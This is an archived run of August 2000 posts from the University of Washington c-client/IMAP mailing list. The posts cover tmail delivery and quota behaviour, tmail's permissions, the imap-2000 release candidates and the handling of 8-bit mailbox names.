mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA26388; Thu, 3 Aug 2000 08:36:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA23872; Thu, 3 Aug 2000 08:35:33 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA78940 for ; Thu, 3 Aug 2000 08:34:02 -0700 Received: from localhost.localdomain ([200.236.144.129]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA24432 for ; Thu, 3 Aug 2000 08:33:54 -0700 Received: from marcova ([10.1.3.46]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id MAA24407 for ; Thu, 3 Aug 2000 12:31:25 -0300 Message-Id: <003c01bffd60$37747510$2e03010a@trt> Date: Thu, 3 Aug 2000 12:33:45 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Marco Antonio V. Assad" To: "Lista imap" Subject: Re: Quota on imapd References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks, I created the file /etc/c-client with a line "set new-folder-format mbx", set up sendmail to deliver through tmail as stated in the man page and everything seems to be running ok now. But there are still two minor problems. First, it can't deliver mail to root. It logs the following: Aug 3 12:09:27 lx2 tmail[1409]: mail to root prohibited Second, when the quota for a user expires, the message stays in the queue until a timeout. Can't it return immediately to the sender as like procmail does? One more question: Which are the correct permissions to tmail? Thanks in advance. ----- Original Message ----- From: "Mike Trank" To: "Marco Antonio V. Assad" Sent: Wednesday, August 02, 2000 12:38 PM Subject: Re: Quota on imapd > > yes, now i understand your predicament. > > You can have tmail do $HOME/INBOX mbx delivery instead of > /var/spool/mail/ without the "-I" switch. The way to do this > is to make a "/etc/c-client.cf" file, and indicate that the default > folder type is mbx. This is described in the imaprc.txt > file in the docs directory. > > I also think this is a bit unclear in the imap/c-client package.... > It is nice that the server programs automatically know to look first for > "/var/spool/mail/" and then if not, look for $HOME/INBOX. That > would lead one to believe that tmail would prefer to deliver to this file > before deciding to create a new "unix" type in /var/spool/mail. But that > doesn't seem to be the case, unless you intervene using the cf file or by > making changes in the source code.... > > > > > > > > Well, I know about tmail and thought that delivering directly to the mbx > > mailbox would be the solution. I understand that I would have to use the "-I > > #driver.mbx/INBOX". But as the man page for tmail states, if I use -I, tmail > > has to be set up suid root, and if I do that, I think it won't honor my > > quota when delivering mail, that's why I'm trying to avoid it and continue > > using procmail. > > > From pinedev@shivax2.cac.washington.edu Thu Aug 3 10:22:31 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Aug 2000 10:22:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA11756 for ; Thu, 3 Aug 2000 10:22:30 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA30509; Thu, 3 Aug 2000 10:22:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA00425; Thu, 3 Aug 2000 10:21:19 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA146192 for ; Thu, 3 Aug 2000 10:17:29 -0700 Received: from localhost.localdomain ([200.236.144.129]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA11551 for ; Thu, 3 Aug 2000 10:17:25 -0700 Received: from marcova ([10.1.3.46]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id OAA25835; Thu, 3 Aug 2000 14:14:41 -0300 Message-Id: <008901bffd6e$a42596e0$2e03010a@trt> Date: Thu, 3 Aug 2000 14:17:01 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Marco Antonio V. Assad" To: "Mike Trank" Cc: "Lista imap" Subject: Re: Quota on imapd References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > On Thu, 3 Aug 2000, Marco Antonio V. Assad wrote: > > > Thanks, I created the file /etc/c-client with a line "set new-folder-format > > mbx", set up sendmail to deliver through tmail as stated in the man page and > > everything seems to be running ok now. But there are still two minor > > problems. > > > > First, it can't deliver mail to root. It logs the following: > > Aug 3 12:09:27 lx2 tmail[1409]: mail to root prohibited > > > > yeah, that happens to me too..... > > what happens if you take away the setuid permission now that you don't > need the -I thing anymore? > If I do that, tmail simply doesn't deliver the message, logging the following: Aug 3 14:09:39 lx2 tmail[1512]: unable to log in UID 501 from UID 8 Aug 3 14:09:39 lx2 tmail[1512]: error in delivery > > Second, when the quota for a user expires, the message stays in the queue > > until a timeout. Can't it return immediately to the sender as like procmail > > does? > > > > > hmmmmmmm, > > well, the way sendmail decides how what to do after a local delivery > attempt is to check the exit code of the tmail ( or procmail ) program. > There is a certain exit code that local deliverers should use to signal > sendmail that the users quota is full, and sendmail should send the mail > back. I think the sendmail people specify these codes, and anybody who > makes a local mailer is supposed to adhere to them. The tmail man page > affirms that it does adhere to these codes. > > how long is the timeout? If it is just the time that sendmail waits to do > the next run through the queue, then i guess this is pretty normal, you > can shorten it by running sendmail with a shorter time for checking the > queue... > The timeout is what the clause "Timeout.queuereturn" in sendmail.cf states. > /usr/sbin/sendmail -bd -q10m > > > is for 10 minutes........ > From pinedev@shivax2.cac.washington.edu Thu Aug 3 17:11:43 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Aug 2000 17:11:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA20305 for ; Thu, 3 Aug 2000 17:11:41 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA19780; Thu, 3 Aug 2000 17:11:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA17970; Thu, 3 Aug 2000 17:10:40 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA48742 for ; Thu, 3 Aug 2000 17:09:24 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (hik@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA20700 for ; Thu, 3 Aug 2000 17:09:24 -0700 Message-Id: Date: Thu, 3 Aug 2000 17:06:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Marco Antonio V. Assad" Cc: Lista imap Subject: Re: Quota on imapd In-Reply-To: <003c01bffd60$37747510$2e03010a@trt> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 3 Aug 2000 12:33:45 -0300, Marco Antonio V. Assad wrote: > First, it can't deliver mail to root. It logs the following: > Aug 3 12:09:27 lx2 tmail[1409]: mail to root prohibited That's by deliberate design. tmail (and the rest of c-client) declines to operate with root. This is especially important with tmail, since it starts out as setuid root. > Second, when the quota for a user expires, the message stays in the queue > until a timeout. Can't it return immediately to the sender as like procmail > does? Gee, most sites want a retry on quota exceeded. You have the source, it's easy enough to coerce tmail failures to hard errors. > One more question: Which are the correct permissions to tmail? tmail should be -rwsr-xr-x, that is, protection 4755, owned by root. From pinedev@shivax2.cac.washington.edu Thu Aug 3 20:55:29 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Aug 2000 20:55:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA24187 for ; Thu, 3 Aug 2000 20:55:27 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA15845; Thu, 3 Aug 2000 20:55:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA21933; Thu, 3 Aug 2000 20:54:30 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA80392 for ; Thu, 3 Aug 2000 20:53:57 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA31281 for ; Thu, 3 Aug 2000 20:53:57 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (clam@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA24090 for ; Thu, 3 Aug 2000 20:53:57 -0700 Message-Id: Date: Thu, 3 Aug 2000 20:30:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Subject: imap-2000 status MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is to update on the status of imap-2000. I went on a one-month vacation immediately after the release of imap-2000 Release Candidate 3 (RC3). In the time that I was gone, sufficient problems were reported to necessitate another release candidate. I am working on release candidate 4 now, and hope to make it available on the UW FTP server some time next week. I'm alpha-testing it now. If anyone has encountered any of the following crashes in imap-2000 RC3: header size inconsistent text size inconsistent file size inconsistent I am *very* interested in hearing from you. I just fixed a previously unknown problem that was causing "header size inconsistent" and may also cause the other two conditions. These crashes will only happen with mailboxes in the traditional UNIX mailbox format. All known cases to date have occurred due to spurious CR (\015) characters in the file. There shouldn't be any CRs in traditional UNIX mailboxes; thus, you can fix the problem by editing the file and removing any carriage returns. But please preserve a copy of the affected mailbox before you do this, and forward that copy (as a MIME attachment) to me for analysis. I am determined to exterminate this problem, and I need your help. This should not deter you from trying out imap-2000. There are NO known problems in any imap-2000 release candidate which are not also present in imap-4.7, and imap-2000 fixes several known problems in imap-4.7. If you are still running imap-4.7 (or earlier), before reporting a problem please test the problem in imap-2000 to see if it hasn't already been fixed. This is my normal plea in any case ("try the newest version before reporting a bug"), but it's particularly important now when I'm trying to clear a month's backlog of mail. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 8 03:11:45 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Aug 2000 03:11:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA23840 for ; Tue, 8 Aug 2000 03:11:43 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA14223; Tue, 8 Aug 2000 03:11:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA00938; Tue, 8 Aug 2000 03:11:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA32558 for ; Tue, 8 Aug 2000 03:09:12 -0700 Received: from phy.hw.ac.uk (root@fhada.phy.hw.ac.uk [137.195.28.12]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA32215 for ; Tue, 8 Aug 2000 03:09:11 -0700 Received: from pc166.phy.hw.ac.uk (karsten@matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.9.3/8.9.3) with ESMTP id LAA04819 for ; Tue, 8 Aug 2000 11:09:04 +0100 (BST) Message-Id: <200008081009.LAA04819@phy.hw.ac.uk> Date: Tue, 8 Aug 2000 11:09:04 +0100 (GMT) Reply-To: M-Developers (KB) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "M-Developers (KB)" To: c-client Subject: cclient date handling MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Aug 2000 09:53:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA24767 for ; Tue, 8 Aug 2000 09:52:58 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA17102; Tue, 8 Aug 2000 09:52:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA22662; Tue, 8 Aug 2000 09:52:09 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA138134 for ; Tue, 8 Aug 2000 09:48:50 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (smj@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA16398 for ; Tue, 8 Aug 2000 09:48:50 -0700 Message-Id: Date: Tue, 8 Aug 2000 09:47:33 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: M-Developers Cc: c-client Subject: re: cclient date handling In-Reply-To: <200008081009.LAA04819@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Are you using the latest c-client (from IMAP-2000 RC3)? If not, you should try it as soon as possible. The latest version tries a bit harder to handle non-Y2K compliant dates. From pinedev@shivax2.cac.washington.edu Tue Aug 8 14:21:45 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Aug 2000 14:21:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA11568 for ; Tue, 8 Aug 2000 14:21:44 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA26419; Tue, 8 Aug 2000 14:21:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA20993; Tue, 8 Aug 2000 14:21:10 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA128500 for ; Tue, 8 Aug 2000 14:20:18 -0700 Received: from dag.newtech.fi (IDENT:qmailr@dag.newtech.fi [195.163.186.138]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id OAA10505 for ; Tue, 8 Aug 2000 14:20:17 -0700 Received: (qmail 28309 invoked by uid 200); 8 Aug 2000 21:20:05 -0000 Message-Id: <20000808212005.28308.qmail@dag.newtech.fi> Date: Wed, 09 Aug 2000 00:20:05 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: c-client@u.washington.edu Cc: dag@newtech.fi Subject: c-client literals in LIST ? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I am using the c-client library from imap-4.7c here and just found out that the mail-list() call doesn't seem to accept literal strings from the server. As I have mailboxes with 8-bit chars in them this will break my applications. Is there a patch available for this ? BRGDS -- Dag Nygren email: dag@newtech.fi Oy NewTech Ab phone: +358 9 8024910 Trasktorpet 3 fax: +358 9 8024916 02360 ESBO GSM: 0400-426312 FINLAND -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 8 15:16:18 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Aug 2000 15:16:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA30972 for ; Tue, 8 Aug 2000 15:16:17 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA02436; Tue, 8 Aug 2000 15:16:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA22944; Tue, 8 Aug 2000 15:15:47 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA22356 for ; Tue, 8 Aug 2000 15:13:47 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (harley@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA28041 for ; Tue, 8 Aug 2000 15:13:46 -0700 Message-Id: Date: Tue, 8 Aug 2000 15:10:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dag Nygren Cc: c-client@u.washington.edu Subject: re: c-client literals in LIST ? In-Reply-To: <20000808212005.28308.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 09 Aug 2000 00:20:05 +0300, Dag Nygren wrote: > I am using the c-client library from > imap-4.7c here and just found out > that the mail-list() call doesn't seem > to accept literal strings from the server. I don't think so. c-client deals with literals in list responses all the time. Why do you believe that to be the case? > As I have mailboxes with 8-bit chars in them > this will break my applications. 8-bit characters in mailbox names are reserved for future use as UTF-8. Any other use (e.g. ISO-8859-1, SJIS, etc.) is NON-COMPLIANT with the IMAP specification. No client is currently obliged to do anything reasonable with 8-bit characters in mailbox names. You need to use the mechanism described in section 5.1.3 of RFC 2060 instead. From pinedev@shivax2.cac.washington.edu Tue Aug 8 16:54:27 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Aug 2000 16:54:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA05222 for ; Tue, 8 Aug 2000 16:54:26 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA05374; Tue, 8 Aug 2000 16:54:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA27032; Tue, 8 Aug 2000 16:53:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA89162 for ; Tue, 8 Aug 2000 16:53:02 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA04518 for ; Tue, 8 Aug 2000 16:53:02 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jjs@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA31573; Tue, 8 Aug 2000 16:53:02 -0700 Message-Id: Date: Tue, 8 Aug 2000 16:49:20 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Cc: IMAP Interest List Subject: Announcing: University of Washington IMAP toolkit Release Candidate 4 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN A new release candidate for imap-2000 is now available as: ftp://ftp.cac.washington.edu/mail/imap-2000.BETA.tar.Z RC4 consists primarily of bugfixes to RC3. It incorporates fixes to all known problems which were reported since the distribution of RC3. I hope that this will be the last one! :-) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 8 17:06:42 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Aug 2000 17:06:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA19368 for ; Tue, 8 Aug 2000 17:06:41 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA31957; Tue, 8 Aug 2000 17:06:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA27845; Tue, 8 Aug 2000 17:06:04 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA158352 for ; Tue, 8 Aug 2000 17:05:01 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA31103 for ; Tue, 8 Aug 2000 17:05:01 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pcs@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA31901; Tue, 8 Aug 2000 17:05:00 -0700 Message-Id: Date: Tue, 8 Aug 2000 17:03:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rohit Sehgal Cc: c-client Interest List , IMAP Interest List Subject: RE: Announcing: University of Washington IMAP toolkit Release Can didate 4 In-Reply-To: <61B452CEA1F9D11195A600A024C65C69042B6143@exchange2.activevoice.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 8 Aug 2000 17:01:38 -0700 , Rohit Sehgal wrote: > What's the difference between UW Imap-2000 and UWImap 4.7? Is it > documented anywhere? The major changes are described in imap-2000/docs/RELNOTES From pinedev@shivax2.cac.washington.edu Tue Aug 8 21:18:56 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Aug 2000 21:18:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA10997 for ; Tue, 8 Aug 2000 21:18:54 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA07211; Tue, 8 Aug 2000 21:18:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA16521; Tue, 8 Aug 2000 21:18:27 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA128260 for ; Tue, 8 Aug 2000 21:17:37 -0700 Received: from dag.newtech.fi (IDENT:qmailr@dag.newtech.fi [195.163.186.138]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id VAA08394 for ; Tue, 8 Aug 2000 21:17:36 -0700 Received: (qmail 29213 invoked by uid 200); 9 Aug 2000 04:17:17 -0000 Message-Id: <20000809041717.29212.qmail@dag.newtech.fi> Date: Wed, 09 Aug 2000 07:17:17 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: c-client@u.washington.edu Cc: dag@newtech.fi Subject: Re: c-client literals in LIST ? In-Reply-To: Your message of "Tue, 08 Aug 2000 15:10:03 PDT." Content-type: TEXT/PLAIN; CHARSET=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Wed, 09 Aug 2000 00:20:05 +0300, Dag Nygren wrote: > > I am using the c-client library from > > imap-4.7c here and just found out > > that the mail-list() call doesn't seem > > to accept literal strings from the server. > > I don't think so. c-client deals with literals in list responses all the > time. > > Why do you believe that to be the case? I will be a bit more specific: The environment is: - MH-mailboxes -UW-IMAP 4.7c serving - IMP web client, uses: - PHP3.0.16, uses c-client for the imap-functions - Apache 1.3.12 I stated tracing a problem with 8-bit characters in mailboxes and ended up in the call to mail_list() (or the parsing of it). I will now check if it really is the move mail_list() return -> PHP array, or if the result already is corrupted and get back. > > As I have mailboxes with 8-bit chars in them > > this will break my applications. > > 8-bit characters in mailbox names are reserved for future use as UTF-8. Any > other use (e.g. ISO-8859-1, SJIS, etc.) is NON-COMPLIANT with the IMAP > specification. This is ISO-8859-1. > No client is currently obliged to do anything reasonable with > 8-bit characters in mailbox names. So nothing for non-Americans then... ;-) I was afraid of that.... I will have to check with the IMP author. > You need to use the mechanism described in section 5.1.3 of RFC 2060 instead. Many thanks for responding. -- Dag Nygren email: dag@newtech.fi Oy NewTech Ab phone: +358 9 8024910 Trasktorpet 3 fax: +358 9 8024916 02360 ESBO GSM: 0400-426312 FINLAND From 